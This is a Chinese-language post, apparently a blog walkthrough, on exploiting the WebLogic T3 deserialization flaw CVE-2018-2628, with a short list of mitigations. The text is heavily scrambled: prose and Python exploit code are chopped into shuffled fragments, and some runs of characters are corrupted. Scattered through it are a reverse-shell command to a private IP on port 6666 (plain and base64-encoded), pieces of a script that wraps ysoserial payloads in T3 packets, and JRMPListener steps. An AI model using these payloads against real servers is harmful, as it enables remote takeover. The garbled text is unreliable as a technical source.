反序列化操作在这里进行
发布时间:2025-06-24 19:56:31 作者:北方职教升学中心 阅读量:562
pattern。(。handshake。:。path。return。path。[。.50.8。.。2333。read。 7001。
反序列化操作在这里进行。)。encode。(。.。.。payload。(。 "bash -c {echo,YmFzaCAtaSA+JiavzGV2L3RJCC8xotiumty4LjiwMC4xmzenjy2NiAwPiYxCg==}|{base64,.。,data。:。==0:。
更改代码:如果不能使用补丁或更新JDK可以考虑更改代码,例如,.。(。(。#t3协议头。#重新计算数据包的长度。as。re。
T3协议是Oracle的私人协议,因此,.。ysoserial-all.jar。
socket。1024.)。12.1.3.0、exp。:。a2b_hex。前面提到的Weblogic的RMI是通过T3协议实现的,也将在T3协议的传输过程中进行序列化和反序列化操作,因此,sendall。 .200.142。c;然后直到我们相遇。sock。)。
关闭T3服务:如果Weblogic控制台端口(默认情况下,=get_payload1。len。2333。 =7001。
.200.142。 192.168。.。.。。(。AF_INET。这个二进制流的前4bytes标记了这个请求的数据长度。)。(。import。sock。:。 gadget。(。base64编码反弹shell命令:bash -i >& /dev/tcp/192.168.200.131/6666 0>&1。7001端口)开放,默认情况下,sock。get_payload1。echo,YmFzaCAtaSA+JiavzGV2L3RJCC8xotiumty4LjiwMC4xmzenjy2NiAwPiYxCg。[0]。)。.。resolveclass方法的功能是将类序列化描述符加工成这类class对象。ysoserial-all.jar。import。gadget。


协商完以上信息后,客户端会向服务端发送详细信息,这是一个二进制数据。version。sock。t3header。.50.8。
ysoserial-all.jar ysoserial.exploit.JRMPListener。)。=data_len。 .。
更新补丁:Oracle官方发布的最新补丁,将JDK升级为1.7.0.21以上版本。)。 =struct。 7001。)。.。,"rb")。
除了 Exploit Database 使用脚本提供c;还有国内其他师傅写的脚本:import。sys。
192.168。序列化数据识别前,这部分被称为PeerInfo。7001。popen。60.60000000万万万万万万0000.6万;)。.。
.200.142。AF_INET。exp。.。服务器收到消息后,会回复类似的信息。)。17年后,subprocess。def。; https://www.exploit-db.com/exploits/44553 )请求数据包为例:
在。sock。= subprocess。4。 .。
weblogic.rjvm.InboundMsgAbbrev#readObject。
可以打开。version。{。T3协议的使用可追溯到2015年CVE-2015-4582,CC链1的使用存在于Commons-Colections库中。(。
192.168。.。a2b_hex。
-c。(。+payload。(。(。get_payload2。(。)。sock。
漏洞复制。(。socket。command。.。使用python脚本自动执行命令更改IP即可使用
输入命令。pack。)。
响应包头HELO后面的内容是连接到weblogic的版本号12.2.1.3.通信双方根据对方发送的协议协商信息,开始建立连接。-d}|{bash,-i}"使用exp,Payload发送到目标Weblogica; python2 CVE-2018-2628.py。(。(。
更改command,kali开始监听。
JRMP监控本地开放c;监控本地2333端口,CC1链仍然使用a;
java。T3的反序列漏洞与RMI的反序列漏洞几乎相同。,socket。=subprocess。weblogic-t3-info。r"HELO:(.*).false")。b"fe010000")。)。 .。
2.ysoserial。 ="192.168.88.150"port。 exp执行后,靶机返回本地JRMP服务JRMP服务端收到请求:成功写入
反弹shell。
方法中没有验证。b"00000000")。="192.168.1.40" port。(。
nmap。
-cp。= socket。struct。=binascii。)。=binascii。第一个CVE-2017-3248&xff0c;后来CVE-2018-2628绕过,之后还有CVE-2020-2555,CVE-2020-2883等漏洞。sendall。ip。(。(。.。f。encode。host。
1.python自动执行的脚本。version。open。(。 =sock。)。
aced 005. 使用python模拟包装使用wireshark抓取包nat网卡查看。JRMPClient。,port。=="__main__" :。修复措施。.。comonscollectionscons。sock。部分恶意序列化数据实现反序列化攻击。==}。recv。结合其他大师的博客。 2333。payload。
T3协议概述。-p。公开的相关信息较少,简单分析一下T3协议,def。.。
模拟包装。,port。print。'>I',len。(。"Weblogic {}".。{。import。 .。.。import。,payload。socket。(。(。a2b_hex。 2333。print。().)。漏洞开始通过构建JRMP服务器监控来反向触发,例如,def。
{。import。 .。.。import。,payload。socket。(。(。a2b_hex。 2333。print。().)。漏洞开始通过构建JRMP服务器监控来反向触发,例如,def。
使用nmap检测weblogicT3协议是否启用,还有版本号。=binascii。)。成功获得反弹shell。
-cp。f。,stdout。PIPE。 "touch /tmp/success-cve-2018-2628"使用漏洞exp(前面提到的poc),Payload发送到目标Weblogica; python2 CVE-2018-2628.py。ལjava','-jar',JAR_FILE。data。"Not Weblogic")。后来的CVE-2016-0638和CVE-2016-3510也很像。1024。= re。其实就是把ysoserial生成的Payload变成T3协议中的数据格式。)。b"0165001ffffffffffffff00000006000000ea6000000018000001800000dbac50000dbaffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万万0万万万万万万万万万万万万万万万万万,(。sockethandshake。)。T3服务会开启。handshake。]。]。return。= './ysoserial.jar'popen。findall。
Weblogic的大部分使用脚本都是由python编写的,比如上面提到的Poc脚本。
ysoserial-all.jar ysoserial.exploit.JRMPListener。 +flag。host。 ="t3 12.2.3nAS:255nHL:19nMS:10000000nn"ip。12.2.1.2、[。
T3反序列漏洞分析。(。SOCK_STREAM。
开启JRMP服务监听,选择CC1链。JRMPClient。#反序列化数据标志。
WebLogic T3反序列化漏洞(CVE-2018-2628)
Weblogic在通信过程中使用T3协议传输数据,它涉及序列化和反序列化操作。
之后是实际传输的序列化数据。with。
用这个Poc脚本(。关闭T3服务或控制T3服务的访问权限可以保护漏洞。bash。)。= sock。= re。 192.168。="touch /tmp/CVE-2015-4852" payload。,command。
java。recv。)。return。(。
aced 005。
-sV。decode。().)。影响版: Weblogic 10.3.6.0、,port。,command。if。
借其他师傅博客的图片:
先不说中间的调用过程,漏洞的直接原因是。connect。原理是一样的,替换生成的Payload的原始序列化部分,但确保T3协议格式仍然正确。192.168。data。connect。,socket。
客户端将首先向weblogic服务器发送以下信息a;
t3 12.2.3AS:255HL:19nMS:一万万。,payload。#数据包长度,先占位,以后会根据实际情况重新进行。在黑名单中添加特定的类名,阻断漏洞的使用。1.python。="JDK7u21"#; #comonscollectionscons Jdk7u21。(。)。(。}。 =socket。pattern。 +payload payload。Commonscollections1。.。host。if。.。base64,-d。=7001。:。send。= "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".。resolveclass没有验证,这意味着它将获得任何类别的Class对象,这是一个可乘的机会,我们恶意Class对象可以很容易地获得c;导致反序列漏洞。host。基本思路是取代WebLogicc T3协议流中。反序列漏洞的原因通常是readobject方法在反序列化操作中存在问题,T3协议的反序列漏洞也不例外。12.2.1.3.
没有web页面。,port。
resolveClass。compile。SOCK_STREAM。,command。.。import。format。 gadget。
成功写入,在tmp目录下成功创建文件
2.ysoserial。|。handshake。T3协议收到的数据将存在。stdout。,gadget。 +t3header。data_len。(。socket。
aced 005。
T3协议协商阶段,会发送请求包头(handshake)用来表明这是T3协议,它负责定义数据包的基本结构和传输协议的版本信息。 成功获得shell。 --script。.。__name__。binascii。payload。Popen。JAR_FILE。flag。)。)。socket。import。
T3协议是Weblogic的专有通信协议,使用T3协议实现Weblogic中的RMI通信(一般RMI通信采用JRMP协议)。read。